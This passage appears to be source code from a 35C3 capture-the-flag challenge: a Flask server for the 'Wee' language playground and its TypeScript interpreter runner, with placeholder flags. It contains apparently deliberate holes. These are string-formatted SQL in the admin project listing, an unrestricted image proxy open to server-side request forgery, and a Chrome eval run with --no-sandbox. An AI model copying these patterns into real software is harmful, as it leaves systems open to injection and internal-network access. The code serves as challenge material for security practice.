request.cookies.get("token") 235 | try: 236 | userId, name, email, usertype = user_by_token(token) 237 | except AttributeError: 238 | name = "" 239 | usertype = "user" 240 | project = query_db("SELECT code, userName, title, description, content, public, type, lastModified, created " 241 | "FROM projects WHERE code=?", (project_id,)) 242 | if not project or (not project[5] and not name == project[1] and not usertype == "admin"): 243 | raise Exception("ProjectDoesNotExist") 244 | return jsonify({ 245 | "code": project[0], 246 | "userName": project[1], 247 | "title": project[2], 248 | "description": project[3], 249 | "content": project[4], 250 | "public": project[5], 251 | "type": project[6], 252 | "lastModified": project[7], 253 | "created": project[8] 254 | }) 255 | 256 | 257 | @app.route("/api/getprojects", methods=["POST"]) 258 | def getuserprojects(): 259 | username = request.get_json(force=True)["userName"] 260 | projects = query_db("SELECT code, userName, title, public, type, lastModified, created, content " 261 | "FROM projects WHERE userName=? ORDER BY lastModified DESC", (username), False) 262 | name = "" 263 | usertype = "user" 264 | if "token" in request.cookies: 265 | userId, name, email, usertype = user_by_token(request.cookies["token"]) 266 | return jsonify_projects(projects, name, usertype) 267 | 268 | 269 | @app.route("/api/saveproject", methods=["POST"]) 270 | def saveproject(): 271 | json = request.get_json(force=True) 272 | name = request.cookies["name"] 273 | token = request.cookies["token"] 274 | # TODO String projectId = paperbots.saveProject(ctx.cookie("token"), request.getCode(), request.getTitle(), request.getDescription(), request.getContent(), request.isPublic(), request.getType()); 275 | userId, username, email, usertype = user_by_token(token) 276 | 277 | db = get_db() 278 | c = db.cursor() 279 | 280 | if not json["code"]: 281 | project_id = random_code(6) 282 | 283 | c.execute( 284 | "INSERT INTO projects(userId, userName, code, title, description, content, public, type) " 285 | "VALUES(?,?,?,?,?,?,?,?)", 286 | (userId, username, project_id, 287 | escape(json["title"]), escape(json["description"]), json["content"], True, json["type"])) 288 | db.commit() 289 | return jsonify({"projectId": project_id}) 290 | else: 291 | c.execute("UPDATE projects SET title=?, description=?, content=?, public=? WHERE code=? AND userId=?", 292 | (escape(json["title"]), escape(json["description"]), json["content"], True, json["code"], 293 | userId) 294 | ) 295 | db.commit() 296 | return jsonify({"projectId": json["code"]}) 297 | 298 | 299 | @app.route("/api/savethumbnail", methods=["POST"]) 300 | def savethumbnail(): 301 | name = request.cookies["name"] 302 | token = request.cookies["token"] 303 | userId, username, email, usertype = user_by_token(token) 304 | 305 | json = request.get_json(force=True) 306 | thumbnail = json["thumbnail"] # type: str 307 | project_id = json["projectId"] 308 | if not thumbnail.startswith("data:image/png;base64,"): 309 | raise Exception("Hacker") 310 | thumbnail = thumbnail[len("data:image/png;base64,"):].encode("ascii") 311 | decoded = base64.b64decode(thumbnail) 312 | project_username, = query_db("SELECT userName FROM projects WHERE code=?", (project_id,)) 313 | if project_username != username: 314 | raise Exception("Hack on WeeLang, not the Server!") 315 | with open(os.path.join(THUMBNAIL_PATH, "{}.png".format(project_id)), "wb+") as f: 316 | f.write(decoded) 317 | return jsonify({"projectId": project_id}) 318 | 319 | 320 | @app.route("/api/deleteproject", methods=["POST"]) 321 | def deleteproject(): 322 | name = request.cookies["name"] 323 | token = request.cookies["token"] 324 | userid, username, email, usertype = user_by_token(token) 325 | json = request.get_json(force=True) 326 | projectid = json["projectId"] 327 | project_username = query_db("SELECT userName FROM projects WHERE code=?", (projectid,)) 328 | if project_username != username and usertype != "admin": 329 | raise Exception("Nope") 330 | db = get_db() 331 | c = db.cursor() 332 | c.execute("DELETE FROM projects WHERE code=?", (projectid,)) 333 | db.commit() 334 | # raise Exception("The Internet Never Forgets") 335 | return {"projectId": projectid} 336 | 337 | 338 | # Admin endpoints 339 | @app.route("/api/getprojectsadmin", methods=["POST"]) 340 | def getprojectsadmin(): 341 | # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); 342 | # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); 343 | name = request.cookies["name"] 344 | token = request.cookies["token"] 345 | user, username, email, usertype = user_by_token(token) 346 | 347 | json = request.get_json(force=True) 348 | offset = json["offset"] 349 | sorting = json["sorting"] 350 | 351 | if name != "admin": 352 | raise Exception("InvalidUserName") 353 | 354 | sortings = { 355 | "newest": "created DESC", 356 | "oldest": "created ASC", 357 | "lastmodified": "lastModified DESC" 358 | } 359 | sql_sorting = sortings[sorting] 360 | 361 | if not offset: 362 | offset = datetime.datetime.now() 363 | 364 | return jsonify_projects(query_db( 365 | "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " 366 | "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin") 367 | 368 | 369 | @app.route("/api/getfeaturedprojects", methods=["POST"]) 370 | def getfeaturedprojects(): 371 | try: 372 | name = request.cookies["name"] 373 | token = request.cookies["token"] 374 | userid, username, email, usertype = user_by_token(token) 375 | except Exception as ex: 376 | username = "" 377 | usertype = "user" 378 | 379 | projects = query_db("SELECT code, userName, title, type, lastModified, created, content FROM projects " 380 | "WHERE featured=1 AND public=1 ORDER BY lastModified DESC", one=False) 381 | return jsonify_projects(projects, username, usertype) 382 | 383 | 384 | # Proxy images to avoid tainted canvases when thumbnailing. 385 | @app.route("/api/proxyimage", methods=["GET"]) 386 | def proxyimage(): 387 | url = request.args.get("url", '') 388 | parsed = parse.urlparse(url, "http") # type: parse.ParseResult 389 | if not parsed.netloc: 390 | parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult 391 | url = parsed.geturl() 392 | 393 | resp = requests.get(url) 394 | if not resp.headers["Content-Type"].startswith("image/"): 395 | raise Exception("Not a valid image") 396 | 397 | # See https://stackoverflow.com/a/36601467/1345238 398 | excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection'] 399 | headers = [(name, value) for (name, value) in resp.raw.headers.items() 400 | if name.lower() not in excluded_headers] 401 | 402 | response = Response(resp.content, resp.status_code, headers) 403 | return response 404 | 405 | 406 | # Additional pyserver functions: 407 | 408 | # Wee as a service. 409 | def runwee(wee: string) -> string: 410 | print("{}: running {}".format(request.remote_addr, wee)) 411 | result = check_output( 412 | ["ts-node", '--cacheDirectory', os.path.join(WEE_PATH, "__cache__"), 413 | os.path.join(WEE_PATH, WEETERPRETER), wee], shell=False, stderr=STDOUT, timeout=WEE_TIMEOUT, 414 | cwd=WEE_PATH).decode("utf-8") 415 | print("{}: result: {}".format(request.remote_addr, result)) 416 | return result 417 | 418 | 419 | @app.route("/wee/run", methods=["POST"]) 420 | def weeservice(): 421 | json = request.get_json(force=True) 422 | wee = json["code"] 423 | out = runwee(wee) 424 | return jsonify({"code": wee, "result": out}) 425 | 426 | 427 | @app.route("/wee/dev/null", methods=["POST"]) 428 | def dev_null(): 429 | json = request.get_json(force=True) 430 | wee = json["code"] 431 | wee = """ 432 | var DEV_NULL: string = '{}' 433 | {} 434 | """.format(DEV_NULL, wee) 435 | _ = runwee(wee) 436 | return "GONE" 437 | 438 | 439 | @app.route("/wee/encryptiontest", methods=["GET"]) 440 | def encryptiontest(): 441 | global encrypted 442 | if not encrypted: 443 | wee = """ 444 | # we use weelang to encrypt secrets completely secret 445 | 446 | record pubkey 447 | n: string 448 | e: string 449 | end 450 | 451 | var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3') 452 | 453 | fun encrypt(message: string, key: pubkey): string 454 | return bigModPow(strToBig(message), key.e, key.n) 455 | end 456 | 457 | fun get_cypher(key: pubkey): string 458 | var message = '{}' 459 | return encrypt(message, key) 460 | end 461 | 462 | alert(get_cypher(key)) 463 | """.format(DECRYPTED) 464 | encrypted = runwee(wee) 465 | return jsonify({"enc": encrypted}) 466 | 467 | 468 | # The pyserver is almost 100% open source! 469 | # Just enough to barely get it running but never to its full potential. 470 | # We got very positive feedback on HN and nobody bothered to run it anyway. 471 | # 11/10 would open source again. 472 | @app.route("/pyserver/server.py", methods=["GET"]) 473 | def server_source(): 474 | return Response(inspect.getsource(sys.modules[__name__]), mimetype='text/x-python') 475 | 476 | 477 | @app.route("/pyserver/flags.py", methods=["GET"]) 478 | def server_flags(): 479 | return Response(""" 480 | DB_SECRET = "35C3_???" 481 | DECRYPTED = "35C3_???" 482 | DEV_NULL = "35C3_???" 483 | LOCALHOST = "35C3_???" 484 | LOGGED_IN = "35C3_???" 485 | NOT_IMPLEMENTED = "35C3_???" 486 | """, mimetype='text/x-python') 487 | 488 | 489 | @app.route("/weelang/{}".format(WEETERPRETER), methods=["GET"]) 490 | def weeterpreter_source(): 491 | return send_file(os.path.join(WEE_PATH, WEETERPRETER), mimetype="text/x-typescript") 492 | 493 | 494 | @app.route("/weelang/package.json", methods=["GET"]) 495 | def weeterpreter_deps(): 496 | return send_file(os.path.join(WEE_PATH, "package.json")) 497 | 498 | 499 | @app.route("/weelang/flags.ts", methods=["GET"]) 500 | def weeterpreter_flags(): 501 | return Response(""" 502 | export const CONVERSION_ERROR = "35C3_???" 503 | export const EQUALITY_ERROR = "35C3_???" 504 | export const LAYERS = "35C3_???" 505 | export const NUMBER_ERROR = "35C3_???" 506 | export const WEE_R_LEET = "35C3_???" 507 | export const WEE_TOKEN = "35C3_???" 508 | """, mimetype="text/x-typescript") 509 | 510 | 511 | @app.before_first_request 512 | def maybe_init_db(): 513 | if not os.path.exists(DATABASE): 514 | init_db() 515 | 516 | 517 | if __name__ == "__main__": 518 | app.run(host="0.0.0.0", port=8075) 519 | -------------------------------------------------------------------------------- /web/weeterpreter.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ts-node 2 | import * as compiler from "../client/src/language/Compiler" 3 | import {AsyncPromise, VirtualMachine, VirtualMachineState} from "../client/src/language/VirtualMachine" 4 | import * as puppeteer from 'puppeteer' 5 | import * as flags from "./flags"; 6 | 7 | declare let BigInt: any 8 | 9 | const DoEvents = () => new Promise((resolve) => setImmediate(resolve)) 10 | 11 | const browserPromise = puppeteer.launch({args: ["--no-sandbox"]}) 12 | const pagePromise: Promise = new Promise(async (resolve, reject) => { 13 | try { 14 | const browser = await browserPromise 15 | const page = await browser.newPage() 16 | await page.setRequestInterception(true) 17 | page.on('request', r=> (r.url().startsWith("file://") && ( 18 | r.url().endsWith("weelang/pypyjs.html") || 19 | r.url().endsWith("lib/FunctionPromise.js") || 20 | r.url().endsWith("lib/pypyjs.js") || 21 | r.url().endsWith("lib/pypyjs.vm.js") || 22 | r.url().endsWith("lib/pypyjs.vm.js.zmem") 23 | ) ? r.continue() : r.abort() && console.log("blocked", r.url())) 24 | ) 25 | await page.goto(`file:///${__dirname}/pypyjs.html`, {waitUntil: 'networkidle2'}) 26 | await page.evaluate(`store('${flags.LAYERS}')`) 27 | resolve(page) 28 | } catch (e) { 29 | reject(e) 30 | } 31 | }) 32 | 33 | browserPromise.catch(x=>console.error) 34 | pagePromise.catch(x=>console.error) 35 | 36 | /** 37 | * Uses a recent chrome to run code inside the chrome sandbox. 38 | * (Hint: there is no challenge here. If you can escape chrome, play the advanced ctf ;) ) 39 | * @param script: the code to run 40 | * @param args: args, in case the script takes any. 41 | */ 42 | async function eval_in_chrome(script, ...args): Promise { 43 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]}) 44 | try { 45 | //console.log("running", script, ...args) 46 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]}) 47 | //const page = await browser.newPage() 48 | //await page.goto(`file:///${__dirname}/pypyjs.html`) 49 | //const response = await page.goto(`file:///${__dirname}/pypyjs.html`) 50 | //console.log(response) Too slow :/ 51 | const page = await pagePromise 52 | //console.log("Goiong on evaling", script, args) 53 | const result = await page.evaluate(script, ...args) 54 | //await page.close() 55 | //console.log("closed. returning.", result) 56 | return result 57 | } catch (e) { 58 | //console.log("An eval error occurred: ", e) 59 | return "" + e.message 60 | } 61 | } 62 | 63 | function wee_eval(expr: string): AsyncPromise { 64 | let asyncResult: AsyncPromise = { 65 | completed: false, 66 | value: null, 67 | stopVirtualMachine: false 68 | } 69 | eval_in_chrome(expr).then((res) => { 70 | //console.log("Result ", expr, res) 71 | asyncResult.value = res; 72 | asyncResult.completed = true 73 | }).catch((err) => { 74 | console.log("Unexpectged error in eval", expr, err) 75 | asyncResult.value = "" + err; 76 | asyncResult.completed = true 77 | }) 78 | return asyncResult 79 | } 80 | 81 | 82 | function get_headless_externals() { 83 | const externals = new compiler.ExternalFunctionsTypesConstants(); 84 | 85 | // Override browser-dependend alert with console.log 86 | externals.addFunction( 87 | "alert", 88 | [{name: "message", type: compiler.StringType}], compiler.NothingType, 89 | false, 90 | console.log 91 | ) 92 | externals.addFunction( 93 | "alert", 94 | [{name: "value", type: compiler.NumberType}], compiler.NothingType, 95 | false, 96 | console.log 97 | ) 98 | externals.addFunction( 99 | "alert", 100 | [{name: "value", type: compiler.BooleanType}], compiler.NothingType, 101 | false, 102 | console.log 103 | ) 104 | 105 | // pyserver 106 | externals.addFunction( 107 | "ord", 108 | [{name: "value", type: compiler.StringType}], compiler.NumberType, 109 | false, 110 | (value: string) => { 111 | return value.charCodeAt(0) % 256 112 | } 113 | ) 114 | externals.addFunction( 115 | "bigModPow", 116 | [ 117 | {name: "base", type: compiler.StringType}, 118 | {name: "exponent", type: compiler.StringType}, 119 | {name: "modulus", type: compiler.StringType} 120 | ], compiler.StringType, 121 | false, 122 | (base: string, exponent: string, modulus: string) => { 123 | let b = BigInt(base) 124 | let e = BigInt(exponent) 125 | let N = BigInt(modulus) 126 | return eval('""+((b ** e) % N)') // force js since tsc translates ** to Math.Pow... *rolls eyes* 127 | } 128 | ) 129 | externals.addFunction( 130 | "strToBig", 131 | [{name: "str", type: compiler.StringType}], compiler.StringType, 132 | false, 133 | (str: string) => { 134 | let res = BigInt(0) 135 | for (const c of str) { 136 | res *= BigInt(256) 137 | res += BigInt(c.charCodeAt(0) % 256) 138 | } 139 | return "" + res 140 | } 141 | ) 142 | externals.addFunction( 143 | "eval", 144 | [{name: "expr", type: compiler.StringType}], compiler.StringType, 145 | true, 146 | (expr: string) => { 147 | return wee_eval(expr) 148 | } 149 | ) 150 | externals.addFunction( 151 | "assert_equals", 152 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 153 | false, 154 | (num: number) => num === num 155 | ? "EQUALITY WORKS" : flags.EQUALITY_ERROR 156 | ) 157 | externals.addFunction( 158 | "assert_number", 159 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 160 | false, 161 | (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1 162 | ? "NUMBERS WORK" : flags.NUMBER_ERROR 163 | ) 164 | externals.addFunction( 165 | "assert_conversion", 166 | [{name: "str", type: compiler.StringType}], compiler.StringType, 167 | false, 168 | (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str) 169 | ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR 170 | ) 171 | externals.addFunction( 172 | // Wee is statically typed. Finding a way to confuse the VM is impossible. 173 | "assert_string", 174 | [{name: "str", type: compiler.StringType}], compiler.StringType, 175 | false, 176 | (str: string) => typeof str == "string" ? "WEE is statically typed. Sorry, confusing the VM is impossible." 177 | : flags.WEE_TOKEN 178 | ) 179 | externals.addFunction( 180 | "assert_leet", 181 | [{name: "maybe_leet", type: compiler.NumberType}], compiler.StringType, 182 | false, 183 | (maybe_leet: number) => maybe_leet !== 0x1337 ? "WEE AIN'T LEET" : flags.WEE_R_LEET 184 | ) 185 | return externals 186 | } 187 | 188 | export async function wee_exec(code: string) { 189 | try { 190 | const compiled = compiler.compile(code, get_headless_externals()) 191 | const vm = new VirtualMachine(compiled.functions, compiled.externalFunctions) 192 | while (vm.state != VirtualMachineState.Completed) { 193 | vm.run(10000) 194 | await DoEvents() // Excited about this name! VB6 <3. Nothing beats the good ol' "On Error Resume Next"... 195 | } 196 | vm.restart() 197 | } catch (ex) { 198 | console.error(ex.message) 199 | } 200 | } 201 | 202 | if (require.main === module) { 203 | //eval_in_chrome("1+1") 204 | const wee = process.argv[2]; 205 | //console.log(wee) 206 | wee_exec(wee) 207 | .then(_=>browserPromise) 208 | .then(b=>b.close()) 209 | .then(_=>process.exit()) 210 | } --------------------------------------------------------------------------------